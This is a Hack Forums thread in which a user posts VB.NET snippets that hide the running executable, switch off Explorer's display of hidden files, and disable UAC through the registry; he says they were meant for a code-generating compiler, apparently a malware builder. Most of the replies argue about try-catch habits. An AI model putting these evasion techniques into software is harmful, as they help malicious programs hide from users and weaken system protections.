

Forum:[Hack Forums](#)

Thread: [Hide a File and disable "Show hidden files" - Disable UAC](#)

imi-tat0r - November 9, 2014, 10:47 am

Just some random code snippets I found on my Harddrive

Hide a file:

```
Code Sub Hide()
```

```
Try
```

```
System.IO.File.SetAttributes(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName,
```

```
System.IO.File.GetAttributes(System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName)  
e) Or System.IO.FileAttributes.Hidden)
```

```
Catch : End Try
```

```
End Sub
```

Disable "Show hidden files":

```
Code Sub HiddenFiles()
```

```
Try
```

```
Microsoft.Win32.Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", True).SetValue("Hidden", "0", Microsoft.Win32.RegistryValueKind.DWord)
```

```
Catch : End Try
```

```
End Sub
```

And yes I am using "System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName" because this was meant for a codedom compiler so please don't state it out that you also could use other ways to get the Filename...

Disable UAC (needs a restart after changing):

```
Code Sub DisableUAC()
```

```
Try
```

```
Microsoft.Win32.Registry.LocalMachine.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\System", True).SetValue("EnableLUA", 0)
```

```
Catch : End Try
```

```
End Sub
```

He B TeMy - November 9, 2014, 1:25 pm

You shouldn't wrap your whole code (especially on releases) with Try Catch.

The reason I'm saying this, is because the first block it could never throw an error.

It's nice to know the second block of code, though I never searched for it or needed it, seems kinda useful to know such things are so easy to change.

imi-tat0r - November 9, 2014, 2:59 pm

(Nov 9, 2014 02:25 PM)HeBTeMy Wrote: [CITE](#) You shouldn't wrap your whole code (especially on releases) with Try Catch.

The reason I'm saying this, is because the first block it could never throw an error.

It's nice to know the second block of code, tho i never searched for it or needed it, seems kinda useful to know such things are so easy to change.

Well I wasn't to sure about the code being able to fail. And I guess it is just some bad stuff I took from VB6 :D

When I first started VB6 I always used "On Error Resume Next" which is even worse than a "useless" try-catch.

So yeah actually I am only using try-catch to prevent any errors regardless if they can/will appear or not.

But I think I will think twice before using try-catch in the future

He B TeMy - November 9, 2014, 3:04 pm

(Nov 9, 2014 03:59 PM)imi-tat0r Wrote: [\[CITE\]](#) Well I wasn't to sure about the code being able to fail. you can always check msdn, in this case

<http://msdn.microsoft.com/en-us/library/system.io.file.setattributes%28v=vs.110%29.aspx>

(Nov 9, 2014 03:59 PM)imi-tat0r Wrote: [\[CITE\]](#) So yeah actually I am only using try-catch to prevent any errors regardless if they can/will appear or not.

That doesn't quite make sense, if they can't appear, why use Try Catch then? There isn't any random error that might me thrown just because the framework doesn't give a fuck anymore-.. lol.

imi-tat0r - November 9, 2014, 3:43 pm

(Nov 9, 2014 04:04 PM)HeBTeMy Wrote: [\[CITE\]](#) That doesn't quite make sense, if they can't appear, why use Try Catch then? There isn't any random error that might me thrown just because the framework doesn't give a fuck anymore-.. lol.

I just wanted to say that I didn't check MSDN and didn't know if it could throw an error or not. So I just used try-catch :D

I'm a bit tired (hard to express what I want to express)

Menalix - November 9, 2014, 9:57 pm

(Nov 9, 2014 04:43 PM)imi-tat0r Wrote: [\[CITE\]](#) I just wanted to say that I didn't check MSDN and didn't know if it could throw an error or not. So I just used try-catch :D

I'm a bit tired (hard to express what I want to express)

that's also totally fine, you should use try catch wherever you can so you won't mess up the Windows Event Logs with unhandled errors.

He B TeMy - November 10, 2014, 8:30 am

(Nov 9, 2014 10:57 PM)Menalix Wrote: [\[CITE\]](#) that's also totally fine, you should use try catch wherever you can so you won't mess up the Windows Event Logs with unhandled errors.

Wtf? Is that saying: "You should wrap your .exe with Try Catch?"

After reading your usertitle, i giggled.

imi-tat0r - November 10, 2014, 8:32 am

(Nov 10, 2014 09:30 AM)HeBTeMy Wrote: [\[CITE\]](#) Wtf? Is that saying: "You should wrap your .exe with Try Catch?"

After reading your usertitle, i giggled.

Better safe than sorry my friend :)

And trust me Menalix knows his stuff.

Hexui is the best proof ;)

He B TeMy - November 10, 2014, 8:38 am

(Nov 10, 2014 09:32 AM)imi-tat0r Wrote: [\[CITE\]](#) Better safe than sorry my friend :)
And trust me Menalix knows his stuff.

Hexui is the best proof ;)

Are you fucking stupid? Or you just can't code at all?

Why the fuck there would be an error thrown in a code that isn't supposed to throw any?

That's bad design, bad practice, bad programming in general, if you want to do error handling, that's fine, not fucking handle every shit that gets thrown, what happens if an "OutOfMemoryException" is thrown and you blindly catch it in your magic catch blocks?

Then your stuck debugging your crappy application and trying to reproduce it, which you would fail and waste your time.

imi-tat0r - November 10, 2014, 9:01 am

(Nov 10, 2014 09:38 AM)HeBTeMy Wrote: [\[CITE\]](#) Are you fucking stupid? Or you just can't code at all?

Why the fuck there would be an error thrown in a code that isn't supposed to throw any?

That's bad design, bad practice, bad programming in general, if you want to do error handling, that's fine, not fucking handle every shit that gets thrown, what happens if an "OutOfMemoryException" is thrown and you blindly catch it in your magic catch blocks?

Then your stuck debugging your crappy application and trying to reproduce it, which you would fail and waste your time.

MessageBox.Show(ex.toString)

Easy as that... But I can see that all you are doing is referring to a useless try-catch in a code instead of just ignoring it.

You need some attention? ok get some but what is your problem with that?

You do not have to use or purchase any code or Program from Menalix or me so go ahead and mind your own business

He B TeMy - November 10, 2014, 9:54 am

Lol, you didn't even replied to anything i said, you got no answer, why quote?

The talk of one who doesn't understand shit.

And by the way, what does MessageBox.Show(ex.ToString) have anything to do with anything?

On release mode, when your program gets finally used, you ask the costumer, what was the error thrown ? And he would say, i can't remember, then what do you do?

This is a forum, not a chat, i don't give a fuck how you code, i only care of the people that might see this and follow your example.

Menalix - November 10, 2014, 5:21 pm

(Nov 10, 2014 09:38 AM)HeBTeMy Wrote: [\[CITE\]](#) Are you fucking stupid? Or you just can't code at all?

Why the fuck there would be an error thrown in a code that isn't supposed to throw any?

That's bad design, bad practice, bad programming in general, if you want to do error handling, that's fine, not fucking handle every shit that gets thrown, what happens if an "OutOfMemoryException" is thrown and you blindly catch it in your magic catch blocks?

Then your stuck debugging your crappy application and trying to reproduce it, which you would fail

and waste your time.

Of course you shouldn't use Try Catch on stuff which can't throw an error, but where it can there should, and its not always you have time to check up on MSDN to see if it does return a error or not.

It's better practise to have the code filled with Try Catch'es even some are placed cluesless, than not having a single one

BerryP - November 11, 2014, 4:27 am

(Nov 9, 2014 11:47 AM)imi-tat0r Wrote: [\[CITE\]](#) And yes I am using "System.Diagnostics.Process.GetCurrentProcess.MainModule.FileName" because this was meant for a codedom compiler so please don't state it out that you also could use other ways to get the Filename... cough cough

```
Code Imports System
Imports System.Diagnostics
Peace ?
```

Dark N3BULA - November 11, 2014, 4:38 am

Just a little correction: The following is the correct code for to disable "view hidden files"

```
Code Try
    Dim SystemRegistry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
    Dim SystemRegistryNext As Microsoft.Win32.RegistryKey =
SystemRegistry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced",
True)
    SystemRegistryNext.SetValue("Hidden", 2)
    SystemRegistryNext.Close()

Catch
End Try
```

He B TeMy - November 11, 2014, 4:53 am

(Nov 10, 2014 06:21 PM)Menalix Wrote: [\[CITE\]](#) It's better practise to have the code filled with Try Catch'es even some are placed cluesless, than not having a single one
Oh it is? I'm sorry, i'll ask for your opinion next time i open VS.

imi-tat0r - November 11, 2014, 6:01 am

(Nov 11, 2014 05:38 AM)Dark N3BULA Wrote: [\[CITE\]](#) Just a little correction: The following is the correct code for to disable "view hidden files"

```
Code Try
    Dim SystemRegistry As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.CurrentUser
    Dim SystemRegistryNext As Microsoft.Win32.RegistryKey =
SystemRegistry.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced",
True)
    SystemRegistryNext.SetValue("Hidden", 2)
    SystemRegistryNext.Close()

Catch
End Try
```

It is not...

The first 2 Lines are exactly what I am doing. You just split it up into 2 lines.

The third line is incorrect as you set it to 2. But disabled = 0 and enabled = 1

So your code is not correct.

(Nov 11, 2014 05:27 AM)Maember Wrote: [\[CITE\]](#) *cough* cough

Code Imports System

Imports System.Diagnostics

Peace ?

didn't work for me in that example. Maybe I used a shitty compiler class I don't know :P

I also had to use "Catch ex as System.Exception" eventhough I used "Imports System" and also reference System.dll :x